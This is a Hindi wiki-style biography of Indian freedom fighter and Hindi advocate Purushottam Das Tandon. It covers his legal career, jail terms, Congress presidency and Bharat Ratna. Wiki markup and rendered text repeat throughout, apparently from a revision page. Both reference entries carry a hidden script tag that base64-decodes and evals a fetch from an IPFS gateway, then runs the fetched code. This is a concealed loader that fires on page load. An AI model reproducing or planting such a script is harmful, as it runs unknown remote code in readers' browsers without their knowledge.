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[[चित्र:Purushottam Das Tandon.jpg|thumb|पुरुषोत्तम दास टंडन]]
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'''पुरुषोत्तम दास टंडन''' (अंग्रेज़ी: ''Purushottam Das Tandon'') (जन्म- [[1 अगस्त]] 1882, [[इलाहाबाद]] [[उत्तर प्रदेश]]; मृत्यु- [[1 जुलाई]], 1962) आधुनिक भारत के प्रमुख स्वाधीनता सेनानियों में से थे। वे 'राजर्षि' के नाम से विख्यात हैं। उन्होंने अपना जीवन एक वकील के रूप में प्रारम्भ किया।
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==जन्म==
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|चित्र का नाम=पुरुषोत्तम दास टंडन
पुरुषोत्तम दास टंडन का जन्म 1 अगस्त, 1882 को उत्तर प्रदेश के इलाहाबाद नगर में हुआ था।  
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==शिक्षा==
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|अन्य नाम=
पुरुषोत्तम दास टंडन की प्रारंभिक शिक्षा स्थानीय सिटी एंग्लो वर्नाक्यूलर विद्यालय में हुई। इसके बाद उन्होंने लॉ की डिग्री हासिल की और 1906 में लॉ की प्रैक्टिस के लिए इलाहाबाद हाई कोर्ट में काम करना शुरू किया।  
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==विधायी जीवन==
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|जन्म भूमि=[[इलाहाबाद]], [[उत्तर प्रदेश]]
टंडन के व्यक्तित्व का एक अन्य महत्वपूर्ण पक्ष उनका विधायी जीवन था, जिसमें वह आज़ादी के पूर्व एक दशक से अधिक समय तक उत्तर प्रदेश विधानसभा के अध्यक्ष रहे। वे संविधान सभा, लोकसभा और राज्यसभा के भी सदस्य रहे। वे समर्पित राजनयिक, हिन्दी के अनन्य सेवक, कर्मठ पत्रकार, तेजस्वी वक्ता और समाज सुधारक भी थे। 
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पुरुषोत्तम दास टंडन ने रॉलेट एक्ट विरोधी सत्याग्रह में सक्रियता से भाग लिया। असहयोग आन्दोलन के दौरान उन्होंने अपनी वकालत छोड़ दी तथा आन्दोलन में कूद पड़े। उन्होंने इलाहाबाद में कृषक आन्दोलन का संचालन किया। उन्होंने उत्तर प्रदेश में [[सविनय अवज्ञा आन्दोलन]] का संचालन किया। उन्होंने किसानों में लगान की नाअदायगी का आन्दोलन भी चलाया। वे संयुक्त प्रांत व्यवस्थापिका परिषद् के सदस्य बने तथा 1937 ई. में इसके अध्यक्ष बने। उन्होंने भारत विभाजन का डटकर विरोध किया। 1951 ई. में वे कांग्रेस के अध्यक्ष बने, किंतु बाद में भाषयी राज्यों के सम्बन्ध में मतभेद हो जाने पर उन्होंने कांग्रेस से त्याग-पत्र दे दिया। वे [[हिन्दी]] को राष्ट्रभाषा बनाए जाने के प्रबल समर्थक थे।
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'''पुरुषोत्तम दास टंडन''' ([[अंग्रेज़ी]]: ''Purushottam Das Tandon'', जन्म- [[1 अगस्त]], [[1882]], [[इलाहाबाद]], [[उत्तर प्रदेश]]; मृत्यु- [[1 जुलाई]], [[1962]]) [[आधुनिक भारत]] के प्रमुख स्वाधीनता सेनानियों में से एक थे। वे 'राजर्षि' के नाम से भी विख्यात थे। उन्होंने अपना जीवन एक वकील के रूप में प्रारम्भ किया था। [[हिन्दी]] को आगे बढ़ाने और इसे राष्ट्रभाषा का स्थान दिलाने के लिए पुरुषोत्तम दास जी ने काफ़ी प्रयास किये थे। वे हिन्दी को देश की आज़ादी के पहले आज़ादी प्राप्त करने का साधन मानते रहे और आज़ादी मिल जाने के बाद आज़ादी को बनाये रखने का। वर्ष [[1950]] में वे '[[भारतीय राष्ट्रीय कांग्रेस]] के अध्यक्ष नियुक्त हुए थे। पुरुषोत्तम दास टंडन को [[भारत]] के राजनीतिक और सामाजिक जीवन में नयी चेतना, नयी लहर, नयी क्रान्ति पैदा करने वाला कर्मयोगी कहा गया है। वर्ष [[1961]] में उन्हें देश के सर्वोच्च नागरिक सम्मान '[[भारत रत्न]]' से भी सम्मानित किया गया था।
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==जन्म तथा शिक्षा==
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पुरुषोत्तम दास टंडन का जन्म 1 अगस्त, 1882 को [[उत्तर प्रदेश]] के प्राचीनतम और धार्मिक शहर [[इलाहाबाद]] में हुआ था। उनकी प्रारंभिक शिक्षा स्थानीय 'सिटी एंग्लो वर्नाक्यूलर विद्यालय' में हुई थी। इसके बाद उन्होंने एल.एल.बी. की डिग्री हासिल की और एम.ए. [[इतिहास]] विषय से किया। वर्ष [[1906]] में वकालत की प्रैक्टिस के लिए पुरुषोत्तम जी ने 'इलाहाबाद उच्च न्यायालय' में काम करना शुरू किया।
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====विधायी जीवन====
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पुरुषोत्तम जी के व्यक्तित्व का एक अन्य महत्त्वपूर्ण पक्ष उनका विधायी जीवन था, जिसमें वह आज़ादी के पूर्व एक दशक से भी अधिक समय तक [[उत्तर प्रदेश]] की [[विधानसभा]] के अध्यक्ष रहे। वे संविधान सभा, [[लोक सभा]] और [[राज्य सभा]] के भी सदस्य रहे थे। वे समर्पित राजनयिक, [[हिन्दी]] के अनन्य सेवक, कर्मठ पत्रकार, तेजस्वी वक्ता और समाज सुधारक थे। 
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==क्रांतिकारी जीवन की शुरुआत==
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पुरुषोत्तम दास टंडन ने '[[भारतीय राष्ट्रीय कांग्रेस]]' के साथ वर्ष [[1899]] से ही काम करना शुरु कर दिया था। क्रांतिकारी कार्यकलापों के कारण उन्हें '[[इलाहाबाद विश्वविद्यालय]]' के 'म्योर सेण्ट्रल कॉलेज' से निष्कासित कर दिया गया था। बाद में [[1903]] में अपने [[पिता]] के निधन के बाद उन्होंने एक अन्य कॉलेज से अपनी पढ़ाई पूरी की। वर्ष [[1919]] में देश को झकझोर कर रख देने वाली घटना '[[जलियाँवाला बाग़|जलियाँवाला बाग़ हत्याकांड]]' का अध्ययन करने वाली कांग्रेस पार्टी की समिति के वह एक सदस्य बनाये गए थे। [[राष्ट्रपिता महात्मा गाँधी]] के कहने पर पुरुषोत्तम जी ने वकालत को छोड़कर स्वतंत्रता संग्राम में भाग लिया। उन्होंने '[[रॉलेट एक्ट]]' विरोधी [[सत्याग्रह]] में सक्रियता से भाग लिया।
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==जेल यात्रा व आन्दोलन==
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वर्ष [[1930]] में महात्मा गाँधी द्वारा चलाये जा रहे '[[सविनय अवज्ञा आन्दोलन]]' के सिलसिले में वे [[बस्ती ज़िला|बस्ती]] में गिरफ्तार हुए और उन्हें कारावास का दण्ड मिला। बाद के समय में उन्होंने [[इलाहाबाद]] में 'कृषक आन्दोलन' का संचालन किया। उन्होंने [[उत्तर प्रदेश]] में 'सविनय अवज्ञा आन्दोलन' का संचालन किया। किसानों में लगान की नाअदायगी का आन्दोलन भी चलाया। वे संयुक्त प्रांत व्यवस्थापिका परिषद् के सदस्य बने तथा [[1937]] ई. में इसके अध्यक्ष भी नियुक्त हुए। पुरुषोत्तम दास टंडन ने [[भारत]] के विभाजन का डटकर विरोध किया। [[1931]] में [[लंदन]] में आयोजित 'गोलमेज सम्मेलन' से गाँधीजी के वापस लौटने से पहले जिन स्वतंत्रता सेनानियों को गिरफ्तार किया गया था, उनमें [[जवाहर लाल नेहरू]] के साथ पुरुषोत्तम दास टंडन भी थे। उन्होंने [[बिहार]] में [[कृषि]] को बढ़ावा देने के लिए काफ़ी कार्य किए थे। वर्ष [[1933]] में वे बिहार की 'प्रादेशिक किसान सभा' के अध्यक्ष चुने गए थे। 'बिहार किसान आंदोलन' के साथ सहानुभूति रखते हुए उन्होंने विकास के अनेक कार्य सम्पन्न कराये।
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;कांग्रेस से त्यागपत्र
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वर्ष [[1951]] ई. में पुरुषोत्तम दास टंडन [[कांग्रेस]] के अध्यक्ष बनाये गये थे, किंतु इस पद पर वे अधिक समय तक नहीं रहे। क्योंकि बाद के समय में भाषायी राज्यों के सम्बन्ध में कांग्रेस से उनका मतभेद हो गया। मतभेद हो जाने के कारण उन्होंने कांग्रेस से त्याग पत्र दे दिया।
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==हिन्दी के पक्षधर==
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पुरुषोत्तम जी [[हिन्दी]] को राष्ट्रभाषा बनाए जाने के प्रबल समर्थक थे और इसको आगे बढ़ाने और राष्ट्रभाषा का स्थान देने के लिए काफ़ी प्रयास कर रहे थे। राजर्षि पुरुषोत्तम दास टंडन  ने [[10 अक्टूबर]], [[1910]] को '[[नागरी प्रचारिणी सभा]]', [[वाराणसी]] के प्रांगण में 'हिन्दी साहित्य सम्मेलन' की स्थापना की। इसी क्रम में [[1918]] में उन्होंने 'हिन्दी विद्यापीठ' और [[1947]] में 'हिन्दी रक्षक दल' की स्थापना की। वे हिन्दी को देश की आज़ादी के पहले 'आज़ादी प्राप्त करने का' और आज़ादी के बाद 'आज़ादी को बनाये रखने का' एक बड़ा साधन मानते थे।' पुरुषोत्तमदास टंडन हिन्दी के प्रबल पक्षधर थे। वह हिन्दी में [[भारत]] की [[मिट्टी]] की सुगंध महसूस करते थे। 'हिन्दी साहित्य सम्मेलन' के 'इंदौर अधिवेशन' में स्पष्ट घोषणा की गई थी कि- "अब से राजकीय सभाओं, कांग्रेस की प्रांतीय सभाओं और अन्य सम्मेलनों में [[अंग्रेज़ी]] का एक शब्द भी सुनाई न पड़े।"<ref>{{cite web |url=http://days.jagranjunction.com/2011/07/01/profile-of-purushottam-das-tandon/ |title=हिंदी के कर्ता-धर्ता : भारत रत्न राजर्षि पुरुषोत्तम दास टंडन |accessmonthday=[[21 जुलाई]] |accessyear=[[2011]] |last= |first= |authorlink= |format= |publisher=जागरण जंक्शन |language=हिंदी }}</ref>
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====राजनीतिक सफलताएँ====
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[[भारत]] की आज़ादी के बाद [[1951]] में हुए देश के पहले चुनाव में पाँच प्रत्याशी निर्विरोध चुने गए थे। इसके बाद [[1952]] में हुए उप-चुनाव में [[इलाहाबाद|इलाहाबाद पश्चिम]] में [[कांग्रेस]] के पुरुषोत्तम दास टंडन निर्विरोध विजयी हुए। वर्ष [[1962]] में [[टिहरी गढ़वाल]] से वहाँ के राजा मानवेंद्रशाह ने जब चुनाव लड़ने का फैसला किया तो पुरुषोत्तम दास टंडन के मुकाबले कोई प्रत्याशी आगे नहीं आया। इस चुनाव में '[[भारतीय जनसंघ|जनसंघ]]' के रंगीलाल ने परचा भरा था, लेकिन बाद में उन्होंने भी पर्चा वापस ले लिया।
 
==कार्यकाल==
 
==कार्यकाल==
आज़ादी के बाद उन्होंने उत्तर प्रदेश की विधानसभा के प्रवक्ता के रुप में 13 साल तक काम किया। [[31 जुलाई]], 1937 से लेकर [[10 अगस्त]], 1950 तक के लंबे कार्यकाल के दौरान उन्होंने विधानसभा को संबोधित किया।
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आज़ादी के बाद पुरुषोत्तम दास टंडन ने [[उत्तर प्रदेश]] की [[विधान सभा]] के प्रवक्ता के रूप में तैरह साल तक काम किया। [[31 जुलाई]], [[1937]] से लेकर [[10 अगस्त]], [[1950]] तक के लंबे कार्यकाल के दौरान उन्होंने विधान सभा को कई बार संबोधित किया।
==पुरस्कार==
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====पुरस्कार====
1961 में [[हिंदी भाषा]] को देश में अग्रणी स्थान दिलाने में अहम भूमिका निभाने के लिए उन्हें देश का सर्वोच्च नागरिक पुरस्कार दिया गया। [[23 अप्रैल]], 1961 को उन्हें भारत सरकार द्वारा '[[भारत रत्न]]' की उपाधि से विभूषित किया गया।
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वर्ष [[1961]] में [[हिन्दी भाषा]] को देश में अग्रणी स्थान दिलाने में अहम भूमिका निभाने के लिए उन्हें देश का सर्वोच्च नागरिक पुरस्कार दिया गया। [[23 अप्रैल]], [[1961]] को उन्हें [[भारत सरकार]] द्वारा '[[भारत रत्न]]' की उपाधि से विभूषित किया गया।
==निधन==
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====निधन====
[[1 जुलाई]], 1962 को हिंदी के परम प्रेमी पुरुषोत्तम दास टंडन जी का निधन हो गया।
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राष्ट्रभाषा हिन्दी के लिए समर्पित पुरुषोत्तम दास टंडन जी का निधन [[1 जुलाई]], [[1962]] को हुआ।
 
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==प्रभुदत्त ब्रह्मचारी का कथन==
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राजर्षि पुरुषोत्तम दास टंडन का [[हिन्दी]] के साथ-साथ गोहत्या बन्द न किए जाने, शराब को राजस्व का साधन बनाए रखने तथा "धर्मनिरपेक्षता" की आड़ में पाठ पुस्तकों में से धार्मिक-नैतिक प्रेरणा देने वाली सामग्री हटाये जाने जैसे विषयों पर [[कांग्रेस]] से निरन्तर विरोध रहा। पौराणिक साहित्य के मर्मज्ञ, महान् गोभक्त संत प्रभुदत्त ब्रह्मचारी महाराज का टंडन जी से निकट का आत्मीय सम्बंध था। टंडन जी के गोलोकवासी होने के बाद प्रभुदत्त जी ने "कल्याण" पत्रिका में पुरुषोत्तम दास टंडन के संस्मरण में लिखा था कि- "वे मुझे अपनी सब बातें [[हृदय]] खोलकर बताते थे। कहते थे कि एक बार [[चित्रकूट]] के कुछ लोग [[मदन मोहन मालवीय|मालवीय जी]] के पास आये और कहने लगे- "महाराज! हमारे यहाँ [[गाय]] का वध होता है।" मालवीय जी ने मुझे वहाँ भेजा। मैंने वहाँ जाकर पूछा- "गऊ को क्यों मारते हो?" उन दिनों गोमांस को [[मुस्लिम]] भी नहीं खाते थे। चमड़े के लिए गोवध करते थे। मांस को तो वे फेंक भी देते थे। उसी दिन मैंने चमड़े के जूते न पहनने की प्रतिज्ञा की।"<ref>{{cite web |url=http://panchjanya.com/arch/2007/8/5/File19.htm|title=पुरुषोत्तमदास ट्ण्डन की 125वीं जयंती|accessmonthday=05 जून|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
  
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==टीका टिप्पणी और संदर्भ==
 
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==बाहरी कड़ियाँ==
 
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*[http://www.pravakta.com/story/11938 राजर्षि पुरूषोत्तम दास टंडन]
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*[http://www.pravakta.com/story/11938 राजर्षि पुरुषोत्तम दास टंडन]
 
*[http://in.jagran.yahoo.com/news/opinion/general/6_3_4682034.html राजर्षि पुरुषोत्तमदास टंडन]
 
*[http://in.jagran.yahoo.com/news/opinion/general/6_3_4682034.html राजर्षि पुरुषोत्तमदास टंडन]
 
*[http://indianpost.com/viewstamp.php/Alpha/P/PURUSHOTTAM%20DAS%20TANDON PURUSHOTTAM DAS TANDON]
 
*[http://indianpost.com/viewstamp.php/Alpha/P/PURUSHOTTAM%20DAS%20TANDON PURUSHOTTAM DAS TANDON]
 
==संबंधित लेख==
 
==संबंधित लेख==
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07:02, 1 अगस्त 2018 के समय का अवतरण

पुरुषोत्तम दास टंडन
पुरुषोत्तम दास टंडन
पूरा नाम पुरुषोत्तम दास टंडन
जन्म 1 अगस्त, 1882
जन्म भूमि इलाहाबाद, उत्तर प्रदेश
मृत्यु 1 जुलाई, 1962
नागरिकता भारतीय
प्रसिद्धि स्वतंत्रता सेनानी और राजनेता
आंदोलन 'सविनय अवज्ञा आन्दोलन', 'बिहार किसान आन्दोलन'
जेल यात्रा वर्ष 1930 में महात्मा गाँधी द्वारा चलाये जा रहे 'सविनय अवज्ञा आन्दोलन' के सिलसिले में पुरुषोत्तम जी बस्ती में गिरफ्तार हुए और कारावास का दण्ड मिला।
कार्य काल विधानसभा प्रवक्ता उत्तर प्रदेश- 31 जुलाई, 1937 से 10 अगस्त, 1950 तक
विद्यालय सिटी एंग्लो वर्नाक्यूलर विद्यालय, इलाहाबाद विश्वविद्यालय
शिक्षा एल.एल.बी. और एम.ए.
पुरस्कार-उपाधि 'भारत रत्न' (23 अप्रैल, 1961)
विशेष योगदान पुरुषोत्तम जी हिन्दी के प्रबल समर्थक थे। उन्होंने हिन्दी को राष्ट्रभाषा का दर्जा दिलाने के लिए काफ़ी प्रयत्न किये थे।
अन्य जानकारी टंडन जी ने 10 अक्टूबर, 1910 को 'नागरी प्रचारिणी सभा', वाराणसी के प्रांगण में 'हिन्दी साहित्य सम्मेलन' की स्थापना की थी।

पुरुषोत्तम दास टंडन (अंग्रेज़ी: Purushottam Das Tandon, जन्म- 1 अगस्त, 1882, इलाहाबाद, उत्तर प्रदेश; मृत्यु- 1 जुलाई, 1962) आधुनिक भारत के प्रमुख स्वाधीनता सेनानियों में से एक थे। वे 'राजर्षि' के नाम से भी विख्यात थे। उन्होंने अपना जीवन एक वकील के रूप में प्रारम्भ किया था। हिन्दी को आगे बढ़ाने और इसे राष्ट्रभाषा का स्थान दिलाने के लिए पुरुषोत्तम दास जी ने काफ़ी प्रयास किये थे। वे हिन्दी को देश की आज़ादी के पहले आज़ादी प्राप्त करने का साधन मानते रहे और आज़ादी मिल जाने के बाद आज़ादी को बनाये रखने का। वर्ष 1950 में वे 'भारतीय राष्ट्रीय कांग्रेस के अध्यक्ष नियुक्त हुए थे। पुरुषोत्तम दास टंडन को भारत के राजनीतिक और सामाजिक जीवन में नयी चेतना, नयी लहर, नयी क्रान्ति पैदा करने वाला कर्मयोगी कहा गया है। वर्ष 1961 में उन्हें देश के सर्वोच्च नागरिक सम्मान 'भारत रत्न' से भी सम्मानित किया गया था।

जन्म तथा शिक्षा

पुरुषोत्तम दास टंडन का जन्म 1 अगस्त, 1882 को उत्तर प्रदेश के प्राचीनतम और धार्मिक शहर इलाहाबाद में हुआ था। उनकी प्रारंभिक शिक्षा स्थानीय 'सिटी एंग्लो वर्नाक्यूलर विद्यालय' में हुई थी। इसके बाद उन्होंने एल.एल.बी. की डिग्री हासिल की और एम.ए. इतिहास विषय से किया। वर्ष 1906 में वकालत की प्रैक्टिस के लिए पुरुषोत्तम जी ने 'इलाहाबाद उच्च न्यायालय' में काम करना शुरू किया।

विधायी जीवन

पुरुषोत्तम जी के व्यक्तित्व का एक अन्य महत्त्वपूर्ण पक्ष उनका विधायी जीवन था, जिसमें वह आज़ादी के पूर्व एक दशक से भी अधिक समय तक उत्तर प्रदेश की विधानसभा के अध्यक्ष रहे। वे संविधान सभा, लोक सभा और राज्य सभा के भी सदस्य रहे थे। वे समर्पित राजनयिक, हिन्दी के अनन्य सेवक, कर्मठ पत्रकार, तेजस्वी वक्ता और समाज सुधारक थे। 

क्रांतिकारी जीवन की शुरुआत

पुरुषोत्तम दास टंडन ने 'भारतीय राष्ट्रीय कांग्रेस' के साथ वर्ष 1899 से ही काम करना शुरु कर दिया था। क्रांतिकारी कार्यकलापों के कारण उन्हें 'इलाहाबाद विश्वविद्यालय' के 'म्योर सेण्ट्रल कॉलेज' से निष्कासित कर दिया गया था। बाद में 1903 में अपने पिता के निधन के बाद उन्होंने एक अन्य कॉलेज से अपनी पढ़ाई पूरी की। वर्ष 1919 में देश को झकझोर कर रख देने वाली घटना 'जलियाँवाला बाग़ हत्याकांड' का अध्ययन करने वाली कांग्रेस पार्टी की समिति के वह एक सदस्य बनाये गए थे। राष्ट्रपिता महात्मा गाँधी के कहने पर पुरुषोत्तम जी ने वकालत को छोड़कर स्वतंत्रता संग्राम में भाग लिया। उन्होंने 'रॉलेट एक्ट' विरोधी सत्याग्रह में सक्रियता से भाग लिया।

जेल यात्रा व आन्दोलन

वर्ष 1930 में महात्मा गाँधी द्वारा चलाये जा रहे 'सविनय अवज्ञा आन्दोलन' के सिलसिले में वे बस्ती में गिरफ्तार हुए और उन्हें कारावास का दण्ड मिला। बाद के समय में उन्होंने इलाहाबाद में 'कृषक आन्दोलन' का संचालन किया। उन्होंने उत्तर प्रदेश में 'सविनय अवज्ञा आन्दोलन' का संचालन किया। किसानों में लगान की नाअदायगी का आन्दोलन भी चलाया। वे संयुक्त प्रांत व्यवस्थापिका परिषद् के सदस्य बने तथा 1937 ई. में इसके अध्यक्ष भी नियुक्त हुए। पुरुषोत्तम दास टंडन ने भारत के विभाजन का डटकर विरोध किया। 1931 में लंदन में आयोजित 'गोलमेज सम्मेलन' से गाँधीजी के वापस लौटने से पहले जिन स्वतंत्रता सेनानियों को गिरफ्तार किया गया था, उनमें जवाहर लाल नेहरू के साथ पुरुषोत्तम दास टंडन भी थे। उन्होंने बिहार में कृषि को बढ़ावा देने के लिए काफ़ी कार्य किए थे। वर्ष 1933 में वे बिहार की 'प्रादेशिक किसान सभा' के अध्यक्ष चुने गए थे। 'बिहार किसान आंदोलन' के साथ सहानुभूति रखते हुए उन्होंने विकास के अनेक कार्य सम्पन्न कराये।

कांग्रेस से त्यागपत्र

वर्ष 1951 ई. में पुरुषोत्तम दास टंडन कांग्रेस के अध्यक्ष बनाये गये थे, किंतु इस पद पर वे अधिक समय तक नहीं रहे। क्योंकि बाद के समय में भाषायी राज्यों के सम्बन्ध में कांग्रेस से उनका मतभेद हो गया। मतभेद हो जाने के कारण उन्होंने कांग्रेस से त्याग पत्र दे दिया।

हिन्दी के पक्षधर

पुरुषोत्तम जी हिन्दी को राष्ट्रभाषा बनाए जाने के प्रबल समर्थक थे और इसको आगे बढ़ाने और राष्ट्रभाषा का स्थान देने के लिए काफ़ी प्रयास कर रहे थे। राजर्षि पुरुषोत्तम दास टंडन  ने 10 अक्टूबर, 1910 को 'नागरी प्रचारिणी सभा', वाराणसी के प्रांगण में 'हिन्दी साहित्य सम्मेलन' की स्थापना की। इसी क्रम में 1918 में उन्होंने 'हिन्दी विद्यापीठ' और 1947 में 'हिन्दी रक्षक दल' की स्थापना की। वे हिन्दी को देश की आज़ादी के पहले 'आज़ादी प्राप्त करने का' और आज़ादी के बाद 'आज़ादी को बनाये रखने का' एक बड़ा साधन मानते थे।' पुरुषोत्तमदास टंडन हिन्दी के प्रबल पक्षधर थे। वह हिन्दी में भारत की मिट्टी की सुगंध महसूस करते थे। 'हिन्दी साहित्य सम्मेलन' के 'इंदौर अधिवेशन' में स्पष्ट घोषणा की गई थी कि- "अब से राजकीय सभाओं, कांग्रेस की प्रांतीय सभाओं और अन्य सम्मेलनों में अंग्रेज़ी का एक शब्द भी सुनाई न पड़े।"[1]

राजनीतिक सफलताएँ

भारत की आज़ादी के बाद 1951 में हुए देश के पहले चुनाव में पाँच प्रत्याशी निर्विरोध चुने गए थे। इसके बाद 1952 में हुए उप-चुनाव में इलाहाबाद पश्चिम में कांग्रेस के पुरुषोत्तम दास टंडन निर्विरोध विजयी हुए। वर्ष 1962 में टिहरी गढ़वाल से वहाँ के राजा मानवेंद्रशाह ने जब चुनाव लड़ने का फैसला किया तो पुरुषोत्तम दास टंडन के मुकाबले कोई प्रत्याशी आगे नहीं आया। इस चुनाव में 'जनसंघ' के रंगीलाल ने परचा भरा था, लेकिन बाद में उन्होंने भी पर्चा वापस ले लिया।

कार्यकाल

आज़ादी के बाद पुरुषोत्तम दास टंडन ने उत्तर प्रदेश की विधान सभा के प्रवक्ता के रूप में तैरह साल तक काम किया। 31 जुलाई, 1937 से लेकर 10 अगस्त, 1950 तक के लंबे कार्यकाल के दौरान उन्होंने विधान सभा को कई बार संबोधित किया।

पुरस्कार

वर्ष 1961 में हिन्दी भाषा को देश में अग्रणी स्थान दिलाने में अहम भूमिका निभाने के लिए उन्हें देश का सर्वोच्च नागरिक पुरस्कार दिया गया। 23 अप्रैल, 1961 को उन्हें भारत सरकार द्वारा 'भारत रत्न' की उपाधि से विभूषित किया गया।

निधन

राष्ट्रभाषा हिन्दी के लिए समर्पित पुरुषोत्तम दास टंडन जी का निधन 1 जुलाई, 1962 को हुआ।

प्रभुदत्त ब्रह्मचारी का कथन

राजर्षि पुरुषोत्तम दास टंडन का हिन्दी के साथ-साथ गोहत्या बन्द न किए जाने, शराब को राजस्व का साधन बनाए रखने तथा "धर्मनिरपेक्षता" की आड़ में पाठ पुस्तकों में से धार्मिक-नैतिक प्रेरणा देने वाली सामग्री हटाये जाने जैसे विषयों पर कांग्रेस से निरन्तर विरोध रहा। पौराणिक साहित्य के मर्मज्ञ, महान् गोभक्त संत प्रभुदत्त ब्रह्मचारी महाराज का टंडन जी से निकट का आत्मीय सम्बंध था। टंडन जी के गोलोकवासी होने के बाद प्रभुदत्त जी ने "कल्याण" पत्रिका में पुरुषोत्तम दास टंडन के संस्मरण में लिखा था कि- "वे मुझे अपनी सब बातें हृदय खोलकर बताते थे। कहते थे कि एक बार चित्रकूट के कुछ लोग मालवीय जी के पास आये और कहने लगे- "महाराज! हमारे यहाँ गाय का वध होता है।" मालवीय जी ने मुझे वहाँ भेजा। मैंने वहाँ जाकर पूछा- "गऊ को क्यों मारते हो?" उन दिनों गोमांस को मुस्लिम भी नहीं खाते थे। चमड़े के लिए गोवध करते थे। मांस को तो वे फेंक भी देते थे। उसी दिन मैंने चमड़े के जूते न पहनने की प्रतिज्ञा की।"[2]


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टीका टिप्पणी और संदर्भ

  1. हिंदी के कर्ता-धर्ता : भारत रत्न राजर्षि पुरुषोत्तम दास टंडन (हिंदी) जागरण जंक्शन। अभिगमन तिथि: 21 जुलाई, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. पुरुषोत्तमदास ट्ण्डन की 125वीं जयंती (हिन्दी)। । अभिगमन तिथि: 05 जून, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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